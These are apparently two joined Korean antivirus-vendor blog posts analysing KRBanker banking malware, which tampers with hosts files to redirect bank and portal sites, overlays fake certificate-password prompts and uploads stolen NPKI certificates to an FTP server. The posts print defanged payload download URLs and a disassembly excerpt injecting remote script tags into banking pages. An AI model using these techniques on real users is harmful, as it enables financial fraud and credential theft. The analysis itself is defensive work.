http://erteam.nprotect.com/390

[추적]FTP서버로 공인인증서를 탈취하는 악성파일 실체
http://erteam.nprotect.com/385

[주의]실제 공인인증서 서비스에서 암호 탈취를 시도하는 악성파일
http://erteam.nprotect.com/383

[주의]OTP 이벤트로 위장한 전자금융사기용 악성파일(KRBanker)
http://erteam.nprotect.com/381

[주의]안랩 프로그램 사칭 인터넷 뱅킹용 악성파일
http://erteam.nprotect.com/380

[주의]금융 보안프로그램으로 둔갑한 악성파일 출현
http://erteam.nprotect.com/379

[주의]국내 스마트 뱅킹 이용자를 노린 피싱용 안드로이드 악성앱 등장
http://erteam.nprotect.com/378

[칼럼]특명! 사이버 은행강도로부터 당신의 금융자산을 보호하라.
http://erteam.nprotect.com/374

[주의]금융자산예방서비스 사칭! 믿는도끼에 발등 찍힌다.
http://erteam.nprotect.com/373

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.
http://erteam.nprotect.com/371

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339

[긴급]국내 인터넷뱅킹 사용자를 노린 악성파일 급속 유포
http://erteam.nprotect.com/293

[주의]국내 인터넷 뱅킹 보안승급서비스 사칭한 스마트폰 문자피싱
http://erteam.nprotect.com/258


그동안 보고되었던 악성파일들은 대체로 주요 금융사이트나 보안업체들을 상대로 호스트파일(hosts)을 변조하여 가짜 금융사이트(피싱/파밍)로 접속을 유도하거나 보안프로그램의 업데이트를 방해하기 위한 시도 등으로 악용되었다.

그러나 이번에 새롭게 발견된 종류는 국내 주요 포털사이트들의 도메인을 호스트파일에 포함시켜, 이용자가 주요 포털사이트에 접근하더라도 피싱사이트로 변경되도록 조작하였다. 범죄자들은 이런 수법으로 정상적인 포털사이트를 가짜 사이트로 조작하거나 허위 메시지 창을 보여주어 사용자로 하여금 또 다른 피해를 입을 수 있는 위험성에 놓일 수 있게된다.

일부 확인된 바에 의하면 포털 사이트 접속시 [금융감독원 보안관련 인증절차 내용처럼 위장한 가짜 팝업창]이 뜨고, 접근시 개인금융 정보를 입력하게 유도하게 된다. 따라서 악성파일에 감염된 사용자는 포털 사이트 접근만으로 인터넷 뱅킹용 피싱 사이트로 접근할 확률이 높아지게되어, 공격자는 시간적인 부분에서 많은 효과를 거둘 수 있게 된다.


아래 화면은 국내 인터넷 뱅킹용 악성파일(KRBanker)이 정상적인 금융사이트로 접속시 가짜 피싱사이트로 연결되도록 조작하기 위해서 변경한 호스트파일(hosts)의 화면인데, 국내 대표 포털 사이트 등이 포함된 것을 볼 수 있다.


특히, 악성파일은 피싱용 IP주소 등이 차단될 경우를 대비해서 특정 웹 사이트에 등록된 정보를 통해서 실시간으로 새로운 정보를 수신하도록 만들어져 있다. 이른바 명령제어(C&C) 서버이고, 공격자는 언제든지 새로운 피싱 IP주소를 악성파일에 감염된 사용자에게 전송할 수 있게 된다.


만약, 악성파일에 감염된 상태에서 해당 IP주소의 접속이 차단되면 정상적인 인터넷 뱅킹 사이트나 포털 사이트의 접속이 불가능하게 된다. 이 때는 변조된 호스트파일(hosts)을 찾아 삭제하거나 초기화하면 된다.

금번 발견된 악성파일은 호스트파일(hosts)의 액세스 제어를 하게 되는데, 다음과 같은 배치파일 명령을 통해서 ACL(Access Control List) 설정을 한다. 이 과정을 통해서 모든 사용자에게 모든 권한을 부여한 후, 파일속성을 읽기전용, 보관파일, 시스템 파일, 숨김특성으로 설정하여 폴더옵션에 따라서 보이지 않도록 숨긴다.


또한, 프로세스 종료 명령인 TASKKILL 을 통해서 conime.exe 파일을 강제종료하는 과정에서 cmd.exe 명령어 작업이 중지되지 않고 계속 진행되며, 호스트파일(hosts)파일은 실시간으로 삭제하고 생성하는 작업을 반복한다. 이 때문에 시스템 리소스가 높아지고, 컴퓨터와 인터넷 속도가 현저하게 느려지는 부작용(감염피해)이 발생하게 된다.
 


3. 피싱 사이트 진위여부 판단 노하우


내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect

1. 공인인증서 유출로 인한 피해 주의


잉카인터넷 대응팀은 2013년 02월 01일 해외의 특정 FTP 서버로 국내 이용자들의 공인인증서(NPKI)파일이 다량으로 유출된 정황을 포착하였다. 해당 악성파일(KRBanker)은 국내 IP주소로 할당되어 있는 곳에서 유포되었는데, 도메인은 2013년 1월 21일 중국인으로 추정되는 명의로 생성된 곳이다. 또한, 악성파일은 2013년 01월 25일 잉카인터넷 대응팀을 통해서 공개된 바 있는KRBanker 변종형태로 실제 공인인증서 창의 클래스명(QWidget)을 감시하고 있다가 공인인증서가 활성화되면 조작된 가짜 입력화면을 교묘히 겹쳐서 입력되는 비밀번호를 탈취하게 된다.

기존의 정상적인 전자서명 화면을 이용하고 있다는 점에서 각별한 주의가 필요하다. 특히, 전자금융사기 사이버 범죄자들이 운영하는 FTP 서버에 다수의 공인인증서가 탈취된 내역이 공식적으로 확인된 상태이기 때문에 그 심각성이 사실로 입증되었고, 유출된 공인인증서(NPKI) 파일들이 또 다른 범죄에 악용될 소지도 충분히 있을 수 있으므로, 금융보안 강화에 그 어느 때보다 많은 관심을 가져야 할 시기이다. 더불어 이용자들은 보안카드의 전체 비밀번호를 컴퓨터에 보관해 두지 않도록 하며, 인터넷 상에서 보안카드의 모든 비밀번호를 입력하도록 요구하는 경우 100% 금융 피싱(파밍)이라는 점을 명심해야 한다.

■ 유사 변종 정보
[주의]실제 공인인증서 서비스에서 암호 탈취를 시도하는 악성파일
http://erteam.nprotect.com/383
 
2. 악성파일의 상세 기능 및 공인인증서 탈취 과정

해당 악성파일(KRBanker)은 웹 사이트의 보안취약점을 통해서 전파되는 수법을 이용하고 있어, 보안이 취약한 이용자가 해킹되어 변조된 특정 웹 사이트의 접속만으로 악성파일에 감염되게 되고, 이용자는 자신이 언제 악성파일에 감염되었는지 인지하지 못하는 경우가 일반적이다.

악성파일에 감염이 이루어지면, 윈도우(Windows) 하위폴더에 "hanhelp" 이름의 폴더를 생성하고, 특정 웹 사이트로 접속하여 추가 악성파일을 다운로드한다.

hxxp://www.ki****tel.com/web/down/LoginMgr.dll
hxxp://www.ki****tel.com/web/down/kbs.exe
hxxp://www.ki****tel.com/web/down/NDeleteAll.exe
hxxp://www.ki****tel.com/web/down/ftp.exe

악성파일 유포에 사용된 도메인은 중국인 추정의 명의로 등록되어 있다.


각각의 파일은 서버에서 컴퓨터에 다운로드될 때 파일명 앞부분에 ps 라는 접두어가 추가되어 생성된다.


"psLoginMgr.dll" 파일은 웹 도우미 객체(BHO:Browser Helper Objects)에 등록시켜, 웹 브라우저(Internet Explorer)가 동작시 자동으로 실행되도록 만들며, 아래와 같이 다양한 기능을 수행한다.

- 특정 금융사이트 도메인 접속시 윈도우 방화벽 서비스를 중지하고, 감염된 컴퓨터의 MAC 주소 등을 외부로 유출 시도한다. 또한, 조건에 따라 모든 악성파일을 스스로 삭제하는 기능의 "psDeleteAll.exe" 파일을 실행한다.

 - "psDeleteAll.exe" 명령 수행조건이 아니면, [GetWindowsDirectoryA] API 함수를 통해서 윈도우 경로를 구하고, [WinExec] 명령을 통해서 "hanhelp" 폴더에 포함된 "pskbs.exe" 악성파일을 실행하도록 한다.


- 사용자의 MAC 주소를 체크하고, Internet Explorer 버전을 확인한다.


- Internet Explorer 버전을 확인 후에 특정 웹 사이트로 접근하여 버전에 따라 "kbstar_IE6.js", "kbstar_IE8.js" 스크립트 파일을 실제 금융사이트의 Body 부분에 삽입하게 된다.

10020C00  page=C018393&strGuidViewFlag=Y&USER_ID_KEY=SECURITY_ID_KEY&RESCODE=111&page=C018393  68000C0210
1000684d  PUSH 10020C54  &va1lue=Az01  68540C0210
100068ce  PUSH 10020C68  &nbsp <script defer src='http://www.ucim***.com/web/ordercard/kbstar_IE6.js'></script>  68680C0210
100068f2  PUSH 10020CC0  &nbsp <script defer src='http://www.ucim***.com/web/ordercard/kbstar_IE8.js'></script>  68C00C0210
10006925  PUSH 10020D18  afterBegin  68180D0210

자바스크립트 파일 내부에는 인터넷 뱅킹용 보안카드 비밀번호를 입력하도록 유도하고, 탈취시도하는 코드들이 포함되어 있다.


- "pskbs.exe" 파일이 실행되면 "psftp.exe" 파일을 보이지 않도록[SW=HIDE] 실행하기 때문에 실제 화면에는 보이지 않는다.

- "pskbs.exe" 파일은 이용자가 특정 금융사이트 접속시 공인인증서 화면이 나오는지 감시하기 위해서 전자 서명창의 클래스명인 "QWidget" 이름을 비교하고, [GetWindowTextW] 함수로 만들어진 가짜 입력 폼에 입력되는 공인인증서 암호 등의 탈취를 시도한다.

- "psftp.exe" 파일이 실행되면 사용자의 하드디스크의 드라이브를 순차적으로 검색하고, 공인인증서(NPKI) 존재여부를 조회한다.


- 공인인증서(NPKI) 파일이 검색되면 FTP 서버(174.139.67.234)로 접속하여 감염된 컴퓨터의 MAC 주소 이름으로 서버에 폴더를 생성하고, 공인인증서를 업로드한다.


이러한 과정을 통해서 유출되는 공인인증서(NPKI)들은 미국소재의 [174.139.67.234] IP주소의 FTP로 전송이 되며, 내부에는 실제로 다음과 같이 다수의 공인인증서 파일이 유출된 내역을 볼 수 있다.

이중 FTP 서버에 공인인증서 파일이 등록된 시간기준으로 2013년 01월 31일 오전 07시 56분과 08시 02분에 등록된 공인인증서는 중국인 명의로 추정되는 사용자 파일이 업로드되어 있다.



해당 공인인증서는 2012년 09월 29일 발급되었고, 2013년 10월 27일 만료 예정이다.


그런데 이 공인인증서는 MAC 주소가 VMWare 프로그램상에서 초기값(00:0c:29:**:**:**)으로 사용되는 코드를 사용하고 있어, 실제 악성파일 유포 조직들이 탈취 테스트를 수행한 것으로 의심되고 있다.


또한, 특정 하위 폴더에는 한글로 "새 폴더"가 생성되어 있었고, "down.rar" 압축파일에는 또 다른 변종도 등록되어 있었다.



3. 피싱 사이트 진위 여부 판단법

내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


 

2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/

 

저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect